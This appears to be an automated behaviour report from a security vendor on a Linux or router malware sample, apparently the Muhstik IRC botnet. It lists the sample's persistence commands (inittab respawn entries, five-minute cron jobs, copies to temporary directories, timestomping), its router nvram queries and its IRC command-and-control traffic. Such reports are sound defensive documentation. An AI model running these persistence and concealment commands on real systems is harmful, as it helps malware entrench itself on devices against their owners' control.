Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/inittab
- /etc/rc.local
Malicious functions:
Modifies router settings:
- /bin/nvram
Launches processes:
- sh -c cat /etc/inittab | grep -v \"<SAMPLE_FULL_PATH>\" > /etc/inittab2
- sh -c crontab -l | grep <SAMPLE_FULL_PATH> || (crontab -l ; echo \"*/5 * * * * <SAMPLE_FULL_PATH> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
- cat /etc/inittab
- crontab -l
- grep <SAMPLE_FULL_PATH>
- grep -v <SAMPLE_FULL_PATH>
- sh -c echo \"0:2345:respawn:<SAMPLE_FULL_PATH>\" >> /etc/inittab2
- sh -c cat /etc/inittab2 > /etc/inittab
- crontab -
- cat /etc/inittab2
- sh -c rm -rf /etc/inittab2
- rm -rf /etc/inittab2
- sh -c touch -acmr /bin/ls /etc/inittab
- touch -acmr /bin/ls /etc/inittab
- sh -c cp -f <SAMPLE_FULL_PATH> /dev/shm/<SAMPLE>
- sh -c /bin/uname -n
- sh -c nvram get router_name
- cp -f <SAMPLE_FULL_PATH> /dev/shm/<SAMPLE>
- /bin/uname -n
- sh -c cat /etc/inittab | grep -v \"/dev/shm/<SAMPLE>\" > /etc/inittab2
- sh -c crontab -l | grep /dev/shm/<SAMPLE> || (crontab -l ; echo \"*/5 * * * * /dev/shm/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
- grep -v /dev/shm/<SAMPLE>
- grep /dev/shm/<SAMPLE>
- sh -c echo \"0:2345:respawn:/dev/shm/<SAMPLE>\" >> /etc/inittab2
- sh -c cp -f <SAMPLE_FULL_PATH> /var/tmp/<SAMPLE>
- cp -f <SAMPLE_FULL_PATH> /var/tmp/<SAMPLE>
- sh -c cat /etc/inittab | grep -v \"/var/tmp/<SAMPLE>\" > /etc/inittab2
- sh -c crontab -l | grep /var/tmp/<SAMPLE> || (crontab -l ; echo \"*/5 * * * * /var/tmp/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
- grep -v /var/tmp/<SAMPLE>
- grep /var/tmp/<SAMPLE>
- sh -c echo \"0:2345:respawn:/var/tmp/<SAMPLE>\" >> /etc/inittab2
- sh -c cp -f <SAMPLE_FULL_PATH> /var/lock/<SAMPLE>
- cp -f <SAMPLE_FULL_PATH> /var/lock/<SAMPLE>
- sh -c cat /etc/inittab | grep -v \"/var/lock/<SAMPLE>\" > /etc/inittab2
- sh -c crontab -l | grep /var/lock/<SAMPLE> || (crontab -l ; echo \"*/5 * * * * /var/lock/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
- grep -v /var/lock/<SAMPLE>
- grep /var/lock/<SAMPLE>
- sh -c echo \"0:2345:respawn:/var/lock/<SAMPLE>\" >> /etc/inittab2
- sh -c cp -f <SAMPLE_FULL_PATH> /var/run/<SAMPLE>
- cp -f <SAMPLE_FULL_PATH> /var/run/<SAMPLE>
- sh -c cat /etc/inittab | grep -v \"/var/run/<SAMPLE>\" > /etc/inittab2
- sh -c crontab -l | grep /var/run/<SAMPLE> || (crontab -l ; echo \"*/5 * * * * /var/run/<SAMPLE> > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
- grep -v /var/run/<SAMPLE>
- grep /var/run/<SAMPLE>
- sh -c echo \"0:2345:respawn:/var/run/<SAMPLE>\" >> /etc/inittab2
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.QC2p7X
- /var/spool/cron/crontabs/tmp.2ATFvc
- /var/spool/cron/crontabs/tmp.p33Ham
- /var/spool/cron/crontabs/tmp.EnMrDu
- /var/spool/cron/crontabs/tmp.DYgQDt
Creates or modifies files:
- /tmp/.ubntmuh
- /etc/inittab2
- /var/spool/cron"/crontabs/tmp.QC2p7X
- /var/spool/cron/crontabs/tmp.QC2p7X
- /dev/shm/<SAMPLE>
- /var/spool/cron"/crontabs/tmp.2ATFvc
- /var/spool/cron/crontabs/tmp.2ATFvc
- /var/tmp/<SAMPLE>
- /var/spool/cron"/crontabs/tmp.p33Ham
- /var/spool/cron/crontabs/tmp.p33Ham
- /var/lock/<SAMPLE>
- /run/lock/<SAMPLE>
- /var/spool/cron"/crontabs/tmp.EnMrDu
- /var/spool/cron/crontabs/tmp.EnMrDu
- /var/run/<SAMPLE>
- /run/<SAMPLE>
- /var/spool/cron"/crontabs/tmp.DYgQDt
- /var/spool/cron/crontabs/tmp.DYgQDt
Deletes files:
- /etc/inittab2"
Locks files:
- /tmp/.ubntmuh
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:61000
Connects to the following servers over the IRC protocol:
- Server: 19#.#9.71.250; Command: NICK A5|0|4601131|unknown\nUSER muhstik localhost localhost :muhstik-0208\n
- Server: 19#.#9.71.250; Command: PONG :9C0ECCFB\n
- Server: 19#.#9.71.250; Command: MODE A5|0|4601131|unknown -xi\n
- Server: 19#.#9.71.250; Command: JOIN #muhstik-ssh :0599\n
- Server: 19#.#9.71.250; Command: WHO A5|0|4601131|unknown\n